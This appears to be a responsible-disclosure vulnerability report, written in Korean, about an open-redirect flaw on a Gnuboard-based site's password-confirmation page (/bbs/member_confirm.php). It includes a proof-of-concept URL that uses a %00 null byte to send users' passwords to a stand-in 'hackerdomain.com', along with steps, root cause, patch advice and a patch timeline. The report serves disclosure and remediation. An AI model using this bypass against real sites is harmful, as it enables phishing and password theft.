Weakness
Description
개요
회원 비밀번호 확인 페이지(/bbs/member_confirm.php)에서 url 파라미터의 값을 다른 도메인으로 지정할 수 있는 취약점임.
비밀번호를 입력하고 확인 버튼을 누르면 임의의 도메인으로 입력한 비밀번호가 전송되도록 할 수 있음
PoC: https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr
재현 과정
-
[step1] 사용자가 해커에게 받은 URI에 접속함.
https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr

-
[step2] 사용자가 비밀번호를 입력하고 확인 버튼을 누름.

-
[step3] 해커의 도메인
hackerdomain.com으로 사용자가 입력한 비밀번호가 전송됨.
예상되는 취약점 발생 원인
그누보드엔 url query 파라미터로 들어오는 %00 값을 \0으로 replace하는 루틴이 있는데,
이를 이용하여 url 파라미터의 필터링을 우회할 수 있음.
url 파라미터의 값인 http://hackerdomain.com%00@isc2chapter.kr이
내부적으로 http://hackerdomain.com\0@isc2chapter.kr 으로 치환됨.
웹브라우저 상에서 http://hackerdomain.com\0@isc2chapter.kr에 접속하면,
http://hackerdomain.com/0@isc2chapter.kr 으로 들어가짐
패치 방법
$_GET['url'] 변수의 값에 \0이 포함되면 오류가 발생하도록 패치
예상 결과 및 파급력
해커가 임의로 만든 URI에 사용자들이 접속하도록 유도하여, 사용자들의 비밀번호를 탈취할 수 있음.
Timeline
안녕하세요.
form 태그의 action 속성이 /bbs/member_confirm.php이라는 URL로 하드코딩하신것 같은데,
이러니까 비밀번호 확인 기능이 정상적으로 작동하질 않네요.
제가 티켓 제출 당시에 패치 방법에 \0을 막으라고 적어두었는데…
지금 보니까 \0 말고도 다른 문자로도 우회가 가능한게 확인되어서, 패치 방법 수정안을 올리겠습니다.
패치 방법
url 파라미터의 값에 \0, ', \ 등의 문자가 포함되면 오류가 발생하도록 패치
안녕하세요.
패치가 완료 되었는데, 확인 한번 해주시겠어요?